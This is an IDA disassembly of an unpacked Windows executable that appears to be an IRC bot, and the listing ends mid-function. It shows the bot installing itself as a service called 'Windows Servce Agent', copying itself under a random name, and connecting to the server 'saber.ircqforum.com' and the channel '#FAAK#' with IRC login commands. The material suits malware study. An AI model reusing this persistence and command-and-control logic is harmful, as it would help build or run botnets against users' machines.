; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : A4029A2DF0220D05167570CF9B5B141E ; File Name : u:\work\a4029a2df0220d05167570cf9b5b141e_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DD000 ( 905216.) ; Section size in file : 000DD000 ( 905216.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_418359+1Ep ; DATA XREF: ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsServceA ; "Windows Servce Agent" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CAF58 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41AFE0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CAFC8 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CAF08 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CAF80 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:00416643p var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41B4D5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41B4C2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41B202 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41B11A add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41B0B1 push edi call sub_41B05B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43DEEC call dword_4CB03C call sub_40B2BF call dword_4CAEFC call dword_4CAEFC mov ebx, dword_427078 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41B590 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_43D158 mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 2670A87h lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2670000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call near ptr 2660C90h nop test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427068 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43D150 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi nop call near ptr 77E75CB5h pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418684 pop ecx mov dword_4CACE0, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270A8 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CACE4, eax call esi push eax call sub_41B8D8 pop ecx call sub_409B12 push 2 call dword_4CB050 push 7530h push offset aDark ; "Dark" push ebx push ebx nop call near ptr 2690000h push eax nop call near ptr 2680E00h cmp eax, 102h jnz short loc_4012A1 push 1 nop call near ptr 77E75CB5h loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CAF14 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 2670A87h lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 2680CABh push eax call near ptr 2670000h nop lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41B9D1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_4293F4 lea eax, [ebp-5F4h] push esi push eax call sub_41B980 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41B900 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429108 jz short loc_40139C push esi xor edi, edi call sub_41AFE0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41AFE0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_4293EC push eax call sub_41B886 add esp, 10h lea eax, [ebp-1E8h] push eax call near ptr 2680C1Eh nop cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 2680B55h loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427090 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C nop call near ptr 26807C8h cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h nop call near ptr 2670F10h lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_418293 pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 2680B55h push 10h lea eax, [ebp-20h] push ebx push eax call sub_41B590 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41B590 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset dword_43D158 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi call near ptr 268077Fh nop push eax push esi push 100000h nop call near ptr 2680243h lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_4293E0 push eax call sub_41B886 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 2660C90h test eax, eax jz short loc_401516 push 0C8h call near ptr 2670F10h nop push dword ptr [ebp-20h] mov esi, dword_427068 call esi push dword ptr [ebp-1Ch] call esi call dword_4CAEFC push ebx call near ptr 77E75CB5h nop loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DB2C4, 2 jle short loc_401562 mov eax, dword_4DB2C8 push dword ptr [eax+4] call sub_41B779 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 2680E00h push esi nop call near ptr 26609B7h mov eax, dword_4DB2C8 cmp [eax+8], ebx jz short loc_401562 push 7D0h nop call near ptr 2670F10h mov eax, dword_4DB2C8 push dword ptr [eax+8] nop call near ptr 268018Eh loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CB074, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_4293C4 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B0F6 lea eax, [ebp-0A0h] push eax call sub_4151AC push 0B80h push ebx push offset dword_43D160 call sub_41B590 add esp, 24h lea eax, [ebp-0A0h] push offset unk_4293A0 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B0F6 add esp, 14h mov esi, eax mov edi, dword_42707C lea eax, [ebp-8] push eax push ebx push ebx push offset dword_419A00 push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEF4[esi], eax jnz short loc_401622 nop call near ptr 26807C8h push eax lea eax, [ebp-0A0h] push offset unk_429360 push eax call sub_41B886 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_4151AC push 2 call sub_40B33E pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_429334 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_4101FC push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEF4[esi], eax jnz short loc_40169A call near ptr 26807C8h nop push eax lea eax, [ebp-0A0h] push offset dword_429300 push eax call sub_41B886 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_4151AC pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41B8E2 push 7Fh and eax, 3 push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CACEC mov dword_4CAE58, eax call sub_41B5F0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CAD6C push offset aFaak ; "#FAAK#" push edi mov dword_4CAE3C, eax call sub_41B5F0 push 3Fh mov esi, offset dword_4CADAC push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword_4CAE40, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CACE8 mov dword_4CAE54, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CAE54, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h call near ptr 2670F10h nop inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CACEC call sub_41B5F0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CAE3C, eax call sub_41B5F0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290E4, bl jz loc_4016FC push 7Fh push offset byte_4290E4 push offset dword_4CACEC call sub_41B5F0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CAE3C, eax call sub_41B5F0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B2BF loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CAEFC loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+662Ao var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CAFA4 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40AAF9 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40B08D mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43DEF8 push edi push eax call sub_41B5F0 add esp, 28h push 6 push 1 push 2 call dword_4CB024 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43DEEC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CAF4C cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CB03C call sub_40AB22 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j nop call near ptr 2670F10h jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_4293FC call sub_415220 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CB03C test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B412 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41BB20 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CAE50, bl jz short loc_40199A push offset byte_4CAE50 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409A2C add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CB03C push 1388h nop call near ptr 2670F10h loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CAFBC test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_417F7F pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h nop call near ptr 2670F10h jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_5D88 = byte ptr -5D88h var_5988 = byte ptr -5988h var_5588 = byte ptr -5588h var_53F8 = byte ptr -53F8h var_51F8 = byte ptr -51F8h var_50F4 = byte ptr -50F4h var_4FF4 = byte ptr -4FF4h var_4EF0 = byte ptr -4EF0h var_4DF0 = byte ptr -4DF0h var_4CF0 = byte ptr -4CF0h var_4BF0 = byte ptr -4BF0h var_4AF0 = byte ptr -4AF0h var_48F0 = byte ptr -48F0h var_47EC = byte ptr -47ECh var_46EC = byte ptr -46ECh var_45EC = byte ptr -45ECh var_4588 = byte ptr -4588h var_4488 = byte ptr -4488h var_4288 = byte ptr -4288h var_4188 = byte ptr -4188h var_4088 = byte ptr -4088h var_3F88 = dword ptr -3F88h var_3F84 = byte ptr -3F84h var_3F04 = byte ptr -3F04h var_3E00 = byte ptr -3E00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = dword ptr -3CE8h var_3CE4 = byte ptr -3CE4h var_3C64 = byte ptr -3C64h var_3BE4 = byte ptr -3BE4h var_3B64 = byte ptr -3B64h var_3AE4 = byte ptr -3AE4h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = byte ptr -3A54h var_37CD = byte ptr -37CDh var_37CC = byte ptr -37CCh var_36C8 = dword ptr -36C8h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36AC = dword ptr -36ACh var_36A8 = dword ptr -36A8h var_36A4 = byte ptr -36A4h var_3624 = byte ptr -3624h var_35A4 = byte ptr -35A4h var_3524 = byte ptr -3524h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = byte ptr -3410h var_3390 = byte ptr -3390h var_3310 = byte ptr -3310h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = byte ptr -327Ch var_31FC = byte ptr -31FCh var_317C = byte ptr -317Ch var_30FC = byte ptr -30FCh var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = byte ptr -3068h var_2FE8 = byte ptr -2FE8h var_2F68 = byte ptr -2F68h var_2EE8 = byte ptr -2EE8h var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch var_2E58 = byte ptr -2E58h var_2D54 = dword ptr -2D54h var_2D50 = byte ptr -2D50h var_2C4C = byte ptr -2C4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AB0 = dword ptr -2AB0h var_2AA8 = byte ptr -2AA8h var_2990 = byte ptr -2990h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_2778 = byte ptr -2778h var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = byte ptr -2650h var_25D0 = byte ptr -25D0h var_24D0 = byte ptr -24D0h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = byte ptr -23A8h var_2328 = byte ptr -2328h var_22A8 = byte ptr -22A8h var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = byte ptr -2214h var_2194 = byte ptr -2194h var_2114 = byte ptr -2114h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = byte ptr -2080h var_2000 = byte ptr -2000h var_1F80 = byte ptr -1F80h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = byte ptr -1EECh var_1DEC = byte ptr -1DECh var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D48 = byte ptr -1D48h var_1D34 = byte ptr -1D34h var_1C30 = byte ptr -1C30h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B9C = dword ptr -1B9Ch var_1B94 = byte ptr -1B94h var_1B80 = byte ptr -1B80h var_1A7C = byte ptr -1A7Ch var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_1924 = byte ptr -1924h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = byte ptr -1808h var_17D0 = byte ptr -17D0h var_17B4 = byte ptr -17B4h var_177C = byte ptr -177Ch var_1778 = byte ptr -1778h var_16F8 = byte ptr -16F8h var_16B8 = byte ptr -16B8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = byte ptr -1614h var_1594 = byte ptr -1594h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_14F4 = byte ptr -14F4h var_1474 = byte ptr -1474h var_13F4 = dword ptr -13F4h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = byte ptr -13D4h var_1354 = byte ptr -1354h var_12D4 = byte ptr -12D4h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1230 = byte ptr -1230h var_11B0 = byte ptr -11B0h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_108C = byte ptr -108Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = byte ptr -0FE8h var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = byte ptr -0F54h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = byte ptr -0EC0h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = byte ptr -0E30h var_E10 = byte ptr -0E10h var_E00 = byte ptr 